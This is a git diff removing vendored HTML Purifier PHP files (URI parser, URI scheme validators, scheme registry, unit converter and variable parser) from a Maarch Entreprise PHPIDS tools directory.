-<?php - -/** - * Parses a URI into the components and fragment identifier as specified - * by RFC 3986. - */ -class HTMLPurifier_URIParser -{ - - /** - * Instance of HTMLPurifier_PercentEncoder to do normalization with. - */ - protected $percentEncoder; - - public function __construct() { - $this->percentEncoder = new HTMLPurifier_PercentEncoder(); - } - - /** - * Parses a URI. - * @param $uri string URI to parse - * @return HTMLPurifier_URI representation of URI. This representation has - * not been validated yet and may not conform to RFC. - */ - public function parse($uri) { - - $uri = $this->percentEncoder->normalize($uri); - - // Regexp is as per Appendix B. - // Note that ["<>] are an addition to the RFC's recommended - // characters, because they represent external delimeters. - $r_URI = '!'. - '(([^:/?#"<>]+):)?'. // 2. Scheme - '(//([^/?#"<>]*))?'. // 4. Authority - '([^?#"<>]*)'. // 5. Path - '(\?([^#"<>]*))?'. // 7. Query - '(#([^"<>]*))?'. // 8. Fragment - '!'; - - $matches = array(); - $result = preg_match($r_URI, $uri, $matches); - - if (!$result) return false; // *really* invalid URI - - // seperate out parts - $scheme = !empty($matches[1]) ? $matches[2] : null; - $authority = !empty($matches[3]) ? $matches[4] : null; - $path = $matches[5]; // always present, can be empty - $query = !empty($matches[6]) ? $matches[7] : null; - $fragment = !empty($matches[8]) ? $matches[9] : null; - - // further parse authority - if ($authority !== null) { - $r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/"; - $matches = array(); - preg_match($r_authority, $authority, $matches); - $userinfo = !empty($matches[1]) ? $matches[2] : null; - $host = !empty($matches[3]) ? $matches[3] : ''; - $port = !empty($matches[4]) ? (int) $matches[5] : null; - } else { - $port = $host = $userinfo = null; - } - - return new HTMLPurifier_URI( - $scheme, $userinfo, $host, $port, $path, $query, $fragment); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme.php deleted file mode 100755 index 78dd9f661a76b60bda4044a16f5f584704c37972..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme.php +++ /dev/null @@ -1,89 +0,0 @@ -<?php - -/** - * Validator for the components of a URI for a specific scheme - */ -abstract class HTMLPurifier_URIScheme -{ - - /** - * Scheme's default port (integer). If an explicit port number is - * specified that coincides with the default port, it will be - * elided. - */ - public $default_port = null; - - /** - * Whether or not URIs of this schem are locatable by a browser - * http and ftp are accessible, while mailto and news are not. - */ - public $browsable = false; - - /** - * Whether or not the URI always uses <hier_part>, resolves edge cases - * with making relative URIs absolute - */ - public $hierarchical = false; - - /** - * Whether or not the URI may omit a hostname when the scheme is - * explicitly specified, ala file:///path/to/file. As of writing, - * 'file' is the only scheme that browsers support his properly. - */ - public $may_omit_host = false; - - /** - * Validates the components of a URI for a specific scheme. - * @param $uri Reference to a HTMLPurifier_URI object - * @param $config HTMLPurifier_Config object - * @param $context HTMLPurifier_Context object - * @return Bool success or failure - */ - public abstract function doValidate(&$uri, $config, $context); - - /** - * Public interface for validating components of a URI. Performs a - * bunch of default actions. Don't overload this method. - * @param $uri Reference to a HTMLPurifier_URI object - * @param $config HTMLPurifier_Config object - * @param $context HTMLPurifier_Context object - * @return Bool success or failure - */ - public function validate(&$uri, $config, $context) { - if ($this->default_port == $uri->port) $uri->port = null; - // kludge: browsers do funny things when the scheme but not the - // authority is set - if (!$this->may_omit_host && - // if the scheme is present, a missing host is always in error - (!is_null($uri->scheme) && ($uri->host === '' || is_null($uri->host))) || - // if the scheme is not present, a *blank* host is in error, - // since this translates into '///path' which most browsers - // interpret as being 'http://path'. - (is_null($uri->scheme) && $uri->host === '') - ) { - do { - if (is_null($uri->scheme)) { - if (substr($uri->path, 0, 2) != '//') { - $uri->host = null; - break; - } - // URI is '////path', so we cannot nullify the - // host to preserve semantics. Try expanding the - // hostname instead (fall through) - } - // first see if we can manually insert a hostname - $host = $config->get('URI.Host'); - if (!is_null($host)) { - $uri->host = $host; - } else { - // we can't do anything sensible, reject the URL. - return false; - } - } while (false); - } - return $this->doValidate($uri, $config, $context); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/data.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/data.php deleted file mode 100755 index 22f16c232161f2f2e246a6e76230e21c280f797f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/data.php +++ /dev/null @@ -1,96 +0,0 @@ -<?php - -/** - * Implements data: URI for base64 encoded images supported by GD. - */ -class HTMLPurifier_URIScheme_data extends HTMLPurifier_URIScheme { - - public $browsable = true; - public $allowed_types = array( - // you better write validation code for other types if you - // decide to allow them - 'image/jpeg' => true, - 'image/gif' => true, - 'image/png' => true, - ); - // this is actually irrelevant since we only write out the path - // component - public $may_omit_host = true; - - public function doValidate(&$uri, $config, $context) { - $result = explode(',', $uri->path, 2); - $is_base64 = false; - $charset = null; - $content_type = null; - if (count($result) == 2) { - list($metadata, $data) = $result; - // do some legwork on the metadata - $metas = explode(';', $metadata); - while(!empty($metas)) { - $cur = array_shift($metas); - if ($cur == 'base64') { - $is_base64 = true; - break; - } - if (substr($cur, 0, 8) == 'charset=') { - // doesn't match if there are arbitrary spaces, but - // whatever dude - if ($charset !== null) continue; // garbage - $charset = substr($cur, 8); // not used - } else { - if ($content_type !== null) continue; // garbage - $content_type = $cur; - } - } - } else { - $data = $result[0]; - } - if ($content_type !== null && empty($this->allowed_types[$content_type])) { - return false; - } - if ($charset !== null) { - // error; we don't allow plaintext stuff - $charset = null; - } - $data = rawurldecode($data); - if ($is_base64) { - $raw_data = base64_decode($data); - } else { - $raw_data = $data; - } - // XXX probably want to refactor this into a general mechanism - // for filtering arbitrary content types - $file = tempnam("/tmp", ""); - file_put_contents($file, $raw_data); - if (function_exists('exif_imagetype')) { - $image_code = exif_imagetype($file); - } elseif (function_exists('getimagesize')) { - set_error_handler(array($this, 'muteErrorHandler')); - $info = getimagesize($file); - restore_error_handler(); - if ($info == false) return false; - $image_code = $info[2]; - } else { - trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR); - } - $real_content_type = image_type_to_mime_type($image_code); - if ($real_content_type != $content_type) { - // we're nice guys; if the content type is something else we - // support, change it over - if (empty($this->allowed_types[$real_content_type])) return false; - $content_type = $real_content_type; - } - // ok, it's kosher, rewrite what we need - $uri->userinfo = null; - $uri->host = null; - $uri->port = null; - $uri->fragment = null; - $uri->query = null; - $uri->path = "$content_type;base64," . base64_encode($raw_data); - return true; - } - - public function muteErrorHandler($errno, $errstr) {} - -} - diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/file.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/file.php deleted file mode 100755 index c55391e949f6d261d5e3c41adfc3c4cf49bcf5db..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/file.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -/** - * Validates file as defined by RFC 1630 and RFC 1738. - */ -class HTMLPurifier_URIScheme_file extends HTMLPurifier_URIScheme { - - // Generally file:// URLs are not accessible from most - // machines, so placing them as an img src is incorrect. - public $browsable = false; - - // Basically the *only* URI scheme for which this is true, since - // accessing files on the local machine is very common. In fact, - // browsers on some operating systems don't understand the - // authority, though I hear it is used on Windows to refer to - // network shares. - public $may_omit_host = true; - - public function doValidate(&$uri, $config, $context) { - // Authentication method is not supported - $uri->userinfo = null; - // file:// makes no provisions for accessing the resource - $uri->port = null; - // While it seems to work on Firefox, the querystring has - // no possible effect and is thus stripped. - $uri->query = null; - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/ftp.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/ftp.php deleted file mode 100755 index ebe183c15c74990387ce65a9aee6801eddb33706..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/ftp.php +++ /dev/null @@ -1,42 +0,0 @@ -<?php - -/** - * Validates ftp (File Transfer Protocol) URIs as defined by generic RFC 1738. - */ -class HTMLPurifier_URIScheme_ftp extends HTMLPurifier_URIScheme { - - public $default_port = 21; - public $browsable = true; // usually - public $hierarchical = true; - - public function doValidate(&$uri, $config, $context) { - $uri->query = null; - - // typecode check - $semicolon_pos = strrpos($uri->path, ';'); // reverse - if ($semicolon_pos !== false) { - $type = substr($uri->path, $semicolon_pos + 1); // no semicolon - $uri->path = substr($uri->path, 0, $semicolon_pos); - $type_ret = ''; - if (strpos($type, '=') !== false) { - // figure out whether or not the declaration is correct - list($key, $typecode) = explode('=', $type, 2); - if ($key !== 'type') { - // invalid key, tack it back on encoded - $uri->path .= '%3B' . $type; - } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') { - $type_ret = ";type=$typecode"; - } - } else { - $uri->path .= '%3B' . $type; - } - $uri->path = str_replace(';', '%3B', $uri->path); - $uri->path .= $type_ret; - } - - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/http.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/http.php deleted file mode 100755 index ea3cb2f77edd8957e7c7a373081266079e851757..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/http.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -/** - * Validates http (HyperText Transfer Protocol) as defined by RFC 2616 - */ -class HTMLPurifier_URIScheme_http extends HTMLPurifier_URIScheme { - - public $default_port = 80; - public $browsable = true; - public $hierarchical = true; - - public function doValidate(&$uri, $config, $context) { - $uri->userinfo = null; - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/https.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/https.php deleted file mode 100755 index 9745c210d8785695baaf761a3102a1529e20633f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/https.php +++ /dev/null @@ -1,12 +0,0 @@ -<?php - -/** - * Validates https (Secure HTTP) according to http scheme. - */ -class HTMLPurifier_URIScheme_https extends HTMLPurifier_URIScheme_http { - - public $default_port = 443; - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/mailto.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/mailto.php deleted file mode 100755 index 5869da9cb3e1513cc00b777b2d66ac4ec7a1bae6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/mailto.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -// VERY RELAXED! Shouldn't cause problems, not even Firefox checks if the -// email is valid, but be careful! - -/** - * Validates mailto (for E-mail) according to RFC 2368 - * @todo Validate the email address - * @todo Filter allowed query parameters - */ - -class HTMLPurifier_URIScheme_mailto extends HTMLPurifier_URIScheme { - - public $browsable = false; - public $may_omit_host = true; - - public function doValidate(&$uri, $config, $context) { - $uri->userinfo = null; - $uri->host = null; - $uri->port = null; - // we need to validate path against RFC 2368's addr-spec - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/news.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/news.php deleted file mode 100755 index 28bce542b36409487313b7612f82d97f901c6068..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/news.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -/** - * Validates news (Usenet) as defined by generic RFC 1738 - */ -class HTMLPurifier_URIScheme_news extends HTMLPurifier_URIScheme { - - public $browsable = false; - public $may_omit_host = true; - - public function doValidate(&$uri, $config, $context) { - $uri->userinfo = null; - $uri->host = null; - $uri->port = null; - $uri->query = null; - // typecode check needed on path - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/nntp.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/nntp.php deleted file mode 100755 index ca802626bc850bea8937d7b172d10e65fea57378..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/nntp.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -/** - * Validates nntp (Network News Transfer Protocol) as defined by generic RFC 1738 - */ -class HTMLPurifier_URIScheme_nntp extends HTMLPurifier_URIScheme { - - public $default_port = 119; - public $browsable = false; - - public function doValidate(&$uri, $config, $context) { - $uri->userinfo = null; - $uri->query = null; - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URISchemeRegistry.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URISchemeRegistry.php deleted file mode 100755 index 067ba91e9f2787090003e146b7e1446337520784..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URISchemeRegistry.php +++ /dev/null @@ -1,68 +0,0 @@ -<?php - -/** - * Registry for retrieving specific URI scheme validator objects. - */ -class HTMLPurifier_URISchemeRegistry -{ - - /** - * Retrieve sole instance of the registry. - * @param $prototype Optional prototype to overload sole instance with, - * or bool true to reset to default registry. - * @note Pass a registry object $prototype with a compatible interface and - * the function will copy it and return it all further times. - */ - public static function instance($prototype = null) { - static $instance = null; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype == true) { - $instance = new HTMLPurifier_URISchemeRegistry(); - } - return $instance; - } - - /** - * Cache of retrieved schemes. - */ - protected $schemes = array(); - - /** - * Retrieves a scheme validator object - * @param $scheme String scheme name like http or mailto - * @param $config HTMLPurifier_Config object - * @param $config HTMLPurifier_Context object - */ - public function getScheme($scheme, $config, $context) { - if (!$config) $config = HTMLPurifier_Config::createDefault(); - - // important, otherwise attacker could include arbitrary file - $allowed_schemes = $config->get('URI.AllowedSchemes'); - if (!$config->get('URI.OverrideAllowedSchemes') && - !isset($allowed_schemes[$scheme]) - ) { - return; - } - - if (isset($this->schemes[$scheme])) return $this->schemes[$scheme]; - if (!isset($allowed_schemes[$scheme])) return; - - $class = 'HTMLPurifier_URIScheme_' . $scheme; - if (!class_exists($class)) return; - $this->schemes[$scheme] = new $class(); - return $this->schemes[$scheme]; - } - - /** - * Registers a custom scheme to the cache, bypassing reflection. - * @param $scheme Scheme name - * @param $scheme_obj HTMLPurifier_URIScheme object - */ - public function register($scheme, $scheme_obj) { - $this->schemes[$scheme] = $scheme_obj; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/UnitConverter.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/UnitConverter.php deleted file mode 100755 index 2e9db5a0c6e99270da4a563f5b15dfb1ec3818fe..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/UnitConverter.php +++ /dev/null @@ -1,254 +0,0 @@ -<?php - -/** - * Class for converting between different unit-lengths as specified by - * CSS. - */ -class HTMLPurifier_UnitConverter -{ - - const ENGLISH = 1; - const METRIC = 2; - const DIGITAL = 3; - - /** - * Units information array. Units are grouped into measuring systems - * (English, Metric), and are assigned an integer representing - * the conversion factor between that unit and the smallest unit in - * the system. Numeric indexes are actually magical constants that - * encode conversion data from one system to the next, with a O(n^2) - * constraint on memory (this is generally not a problem, since - * the number of measuring systems is small.) - */ - protected static $units = array( - self::ENGLISH => array( - 'px' => 3, // This is as per CSS 2.1 and Firefox. Your mileage may vary - 'pt' => 4, - 'pc' => 48, - 'in' => 288, - self::METRIC => array('pt', '0.352777778', 'mm'), - ), - self::METRIC => array( - 'mm' => 1, - 'cm' => 10, - self::ENGLISH => array('mm', '2.83464567', 'pt'), - ), - ); - - /** - * Minimum bcmath precision for output. - */ - protected $outputPrecision; - - /** - * Bcmath precision for internal calculations. - */ - protected $internalPrecision; - - /** - * Whether or not BCMath is available - */ - private $bcmath; - - public function __construct($output_precision = 4, $internal_precision = 10, $force_no_bcmath = false) { - $this->outputPrecision = $output_precision; - $this->internalPrecision = $internal_precision; - $this->bcmath = !$force_no_bcmath && function_exists('bcmul'); - } - - /** - * Converts a length object of one unit into another unit. - * @param HTMLPurifier_Length $length - * Instance of HTMLPurifier_Length to convert. You must validate() - * it before passing it here! - * @param string $to_unit - * Unit to convert to. - * @note - * About precision: This conversion function pays very special - * attention to the incoming precision of values and attempts - * to maintain a number of significant figure. Results are - * fairly accurate up to nine digits. Some caveats: - * - If a number is zero-padded as a result of this significant - * figure tracking, the zeroes will be eliminated. - * - If a number contains less than four sigfigs ($outputPrecision) - * and this causes some decimals to be excluded, those - * decimals will be added on. - */ - public function convert($length, $to_unit) { - - if (!$length->isValid()) return false; - - $n = $length->getN(); - $unit = $length->getUnit(); - - if ($n === '0' || $unit === false) { - return new HTMLPurifier_Length('0', false); - } - - $state = $dest_state = false; - foreach (self::$units as $k => $x) { - if (isset($x[$unit])) $state = $k; - if (isset($x[$to_unit])) $dest_state = $k; - } - if (!$state || !$dest_state) return false; - - // Some calculations about the initial precision of the number; - // this will be useful when we need to do final rounding. - $sigfigs = $this->getSigFigs($n); - if ($sigfigs < $this->outputPrecision) $sigfigs = $this->outputPrecision; - - // BCMath's internal precision deals only with decimals. Use - // our default if the initial number has no decimals, or increase - // it by how ever many decimals, thus, the number of guard digits - // will always be greater than or equal to internalPrecision. - $log = (int) floor(log(abs($n), 10)); - $cp = ($log < 0) ? $this->internalPrecision - $log : $this->internalPrecision; // internal precision - - for ($i = 0; $i < 2; $i++) { - - // Determine what unit IN THIS SYSTEM we need to convert to - if ($dest_state === $state) { - // Simple conversion - $dest_unit = $to_unit; - } else { - // Convert to the smallest unit, pending a system shift - $dest_unit = self::$units[$state][$dest_state][0]; - } - - // Do the conversion if necessary - if ($dest_unit !== $unit) { - $factor = $this->div(self::$units[$state][$unit], self::$units[$state][$dest_unit], $cp); - $n = $this->mul($n, $factor, $cp); - $unit = $dest_unit; - } - - // Output was zero, so bail out early. Shouldn't ever happen. - if ($n === '') { - $n = '0'; - $unit = $to_unit; - break; - } - - // It was a simple conversion, so bail out - if ($dest_state === $state) { - break; - } - - if ($i !== 0) { - // Conversion failed! Apparently, the system we forwarded - // to didn't have this unit. This should never happen! - return false; - } - - // Pre-condition: $i == 0 - - // Perform conversion to next system of units - $n = $this->mul($n, self::$units[$state][$dest_state][1], $cp); - $unit = self::$units[$state][$dest_state][2]; - $state = $dest_state; - - // One more loop around to convert the unit in the new system. - - } - - // Post-condition: $unit == $to_unit - if ($unit !== $to_unit) return false; - - // Useful for debugging: - //echo "<pre>n"; - //echo "$n\nsigfigs = $sigfigs\nnew_log = $new_log\nlog = $log\nrp = $rp\n</pre>\n"; - - $n = $this->round($n, $sigfigs); - if (strpos($n, '.') !== false) $n = rtrim($n, '0'); - $n = rtrim($n, '.'); - - return new HTMLPurifier_Length($n, $unit); - } - - /** - * Returns the number of significant figures in a string number. - * @param string $n Decimal number - * @return int number of sigfigs - */ - public function getSigFigs($n) { - $n = ltrim($n, '0+-'); - $dp = strpos($n, '.'); // decimal position - if ($dp === false) { - $sigfigs = strlen(rtrim($n, '0')); - } else { - $sigfigs = strlen(ltrim($n, '0.')); // eliminate extra decimal character - if ($dp !== 0) $sigfigs--; - } - return $sigfigs; - } - - /** - * Adds two numbers, using arbitrary precision when available. - */ - private function add($s1, $s2, $scale) { - if ($this->bcmath) return bcadd($s1, $s2, $scale); - else return $this->scale($s1 + $s2, $scale); - } - - /** - * Multiples two numbers, using arbitrary precision when available. - */ - private function mul($s1, $s2, $scale) { - if ($this->bcmath) return bcmul($s1, $s2, $scale); - else return $this->scale($s1 * $s2, $scale); - } - - /** - * Divides two numbers, using arbitrary precision when available. - */ - private function div($s1, $s2, $scale) { - if ($this->bcmath) return bcdiv($s1, $s2, $scale); - else return $this->scale($s1 / $s2, $scale); - } - - /** - * Rounds a number according to the number of sigfigs it should have, - * using arbitrary precision when available. - */ - private function round($n, $sigfigs) { - $new_log = (int) floor(log(abs($n), 10)); // Number of digits left of decimal - 1 - $rp = $sigfigs - $new_log - 1; // Number of decimal places needed - $neg = $n < 0 ? '-' : ''; // Negative sign - if ($this->bcmath) { - if ($rp >= 0) { - $n = bcadd($n, $neg . '0.' . str_repeat('0', $rp) . '5', $rp + 1); - $n = bcdiv($n, '1', $rp); - } else { - // This algorithm partially depends on the standardized - // form of numbers that comes out of bcmath. - $n = bcadd($n, $neg . '5' . str_repeat('0', $new_log - $sigfigs), 0); - $n = substr($n, 0, $sigfigs + strlen($neg)) . str_repeat('0', $new_log - $sigfigs + 1); - } - return $n; - } else { - return $this->scale(round($n, $sigfigs - $new_log - 1), $rp + 1); - } - } - - /** - * Scales a float to $scale digits right of decimal point, like BCMath. - */ - private function scale($r, $scale) { - if ($scale < 0) { - // The f sprintf type doesn't support negative numbers, so we - // need to cludge things manually. First get the string. - $r = sprintf('%.0f', (float) $r); - // Due to floating point precision loss, $r will more than likely - // look something like 4652999999999.9234. We grab one more digit - // than we need to precise from $r and then use that to round - // appropriately. - $precise = (string) round(substr($r, 0, strlen($r) + $scale), -1); - // Now we return it, truncating the zero that was rounded off. - return substr($precise, 0, -1) . str_repeat('0', -$scale + 1); - } - return sprintf('%.' . $scale . 'f', (float) $r); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php deleted file mode 100755 index bfd812ae68c53b4f7f9032534da20f01258440f8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php +++ /dev/null @@ -1,154 +0,0 @@ -<?php - -/** - * Parses string representations into their corresponding native PHP - * variable type. The base implementation does a simple type-check. - */ -class HTMLPurifier_VarParser -{ - - const STRING = 1; - const ISTRING = 2; - const TEXT = 3; - const ITEXT = 4; - const INT = 5; - const FLOAT = 6; - const BOOL = 7; - const LOOKUP = 8; - const ALIST = 9; - const HASH = 10; - const MIXED = 11; - - /** - * Lookup table of allowed types. Mainly for backwards compatibility, but - * also convenient for transforming string type names to the integer constants. - */ - static public $types = array( - 'string' => self::STRING, - 'istring' => self::ISTRING, - 'text' => self::TEXT, - 'itext' => self::ITEXT, - 'int' => self::INT, - 'float' => self::FLOAT, - 'bool' => self::BOOL, - 'lookup' => self::LOOKUP, - 'list' => self::ALIST, - 'hash' => self::HASH, - 'mixed' => self::MIXED - ); - - /** - * Lookup table of types that are string, and can have aliases or - * allowed value lists. - */ - static public $stringTypes = array( - self::STRING => true, - self::ISTRING => true, - self::TEXT => true, - self::ITEXT => true, - ); - - /** - * Validate a variable according to type. Throws - * HTMLPurifier_VarParserException if invalid. - * It may return NULL as a valid type if $allow_null is true. - * - * @param $var Variable to validate - * @param $type Type of variable, see HTMLPurifier_VarParser->types - * @param $allow_null Whether or not to permit null as a value - * @return Validated and type-coerced variable - */ - final public function parse($var, $type, $allow_null = false) { - if (is_string($type)) { - if (!isset(HTMLPurifier_VarParser::$types[$type])) { - throw new HTMLPurifier_VarParserException("Invalid type '$type'"); - } else { - $type = HTMLPurifier_VarParser::$types[$type]; - } - } - $var = $this->parseImplementation($var, $type, $allow_null); - if ($allow_null && $var === null) return null; - // These are basic checks, to make sure nothing horribly wrong - // happened in our implementations. - switch ($type) { - case (self::STRING): - case (self::ISTRING): - case (self::TEXT): - case (self::ITEXT): - if (!is_string($var)) break; - if ($type == self::ISTRING || $type == self::ITEXT) $var = strtolower($var); - return $var; - case (self::INT): - if (!is_int($var)) break; - return $var; - case (self::FLOAT): - if (!is_float($var)) break; - return $var; - case (self::BOOL): - if (!is_bool($var)) break; - return $var; - case (self::LOOKUP): - case (self::ALIST): - case (self::HASH): - if (!is_array($var)) break; - if ($type === self::LOOKUP) { - foreach ($var as $k) if ($k !== true) $this->error('Lookup table contains value other than true'); - } elseif ($type === self::ALIST) { - $keys = array_keys($var); - if (array_keys($keys) !== $keys) $this->error('Indices for list are not uniform'); - } - return $var; - case (self::MIXED): - return $var; - default: - $this->errorInconsistent(get_class($this), $type); - } - $this->errorGeneric($var, $type); - } - - /** - * Actually implements the parsing. Base implementation is to not - * do anything to $var. Subclasses should overload this! - */ - protected function parseImplementation($var, $type, $allow_null) { - return $var; - } - - /** - * Throws an exception. - */ - protected function error($msg) { - throw new HTMLPurifier_VarParserException($msg); - } - - /** - * Throws an inconsistency exception. - * @note This should not ever be called. It would be called if we - * extend the allowed values of HTMLPurifier_VarParser without - * updating subclasses. - */ - protected function errorInconsistent($class, $type) { - throw new HTMLPurifier_Exception("Inconsistency in $class: ".HTMLPurifier_VarParser::getTypeName($type)." not implemented"); - } - - /** - * Generic error for if a type didn't work. - */ - protected function errorGeneric($var, $type) { - $vtype = gettype($var); - $this->error("Expected type ".HTMLPurifier_VarParser::getTypeName($type).", got $vtype"); - } - - static public function getTypeName($type) { - static $lookup; - if (!$lookup) { - // Lazy load the alternative lookup table - $lookup = array_flip(HTMLPurifier_VarParser::$types); - } - if (!isset($lookup[$type])) return 'unknown'; - return $lookup[$type]; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php deleted file mode 100755 index a424edb01301846fb19d9cc954c61bddf333fd51..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php +++ /dev/null @@ -1,103 +0,0 @@ -<?php - -/** - * Performs safe variable parsing based on types which can be used by - * users. This may not be able to represent all possible data inputs, - * however. - */ -class HTMLPurifier_VarParser_Flexible extends HTMLPurifier_VarParser -{ - - protected function parseImplementation($var, $type, $allow_null) { - if ($allow_null && $var === null) return null; - switch ($type) { - // Note: if code "breaks" from the switch, it triggers a generic - // exception to be thrown. Specific errors can be specifically - // done here. - case self::MIXED : - case self::ISTRING : - case self::STRING : - case self::TEXT : - case self::ITEXT : - return $var; - case self::INT : - if (is_string($var) && ctype_digit($var)) $var = (int) $var; - return $var; - case self::FLOAT : - if ((is_string($var) && is_numeric($var)) || is_int($var)) $var = (float) $var; - return $var; - case self::BOOL : - if (is_int($var) && ($var === 0 || $var === 1)) { - $var = (bool) $var; - } elseif (is_string($var)) { - if ($var == 'on' || $var == 'true' || $var == '1') { - $var = true; - } elseif ($var == 'off' || $var == 'false' || $var == '0') { - $var = false; - } else { - throw new HTMLPurifier_VarParserException("Unrecognized value '$var' for $type"); - } - } - return $var; - case self::ALIST : - case self::HASH : - case self::LOOKUP : - if (is_string($var)) { - // special case: technically, this is an array with - // a single empty string item, but having an empty - // array is more intuitive - if ($var == '') return array(); - if (strpos($var, "\n") === false && strpos($var, "\r") === false) { - // simplistic string to array method that only works - // for simple lists of tag names or alphanumeric characters - $var = explode(',',$var); - } else { - $var = preg_split('/(,|[\n\r]+)/', $var); - } - // remove spaces - foreach ($var as $i => $j) $var[$i] = trim($j); - if ($type === self::HASH) { - // key:value,key2:value2 - $nvar = array(); - foreach ($var as $keypair) { - $c = explode(':', $keypair, 2); - if (!isset($c[1])) continue; - $nvar[trim($c[0])] = trim($c[1]); - } - $var = $nvar; - } - } - if (!is_array($var)) break; - $keys = array_keys($var); - if ($keys === array_keys($keys)) { - if ($type == self::ALIST) return $var; - elseif ($type == self::LOOKUP) { - $new = array(); - foreach ($var as $key) { - $new[$key] = true; - } - return $new; - } else break; - } - if ($type === self::ALIST) { - trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING); - return array_values($var); - } - if ($type === self::LOOKUP) { - foreach ($var as $key => $value) { - if ($value !== true) { - trigger_error("Lookup array has non-true value at key '$key'; maybe your input array was not indexed numerically", E_USER_WARNING); - } - $var[$key] = true; - } - } - return $var; - default: - $this->errorInconsistent(__CLASS__, $type); - } - $this->errorGeneric($var, $type); - } - -} - -// vim: et 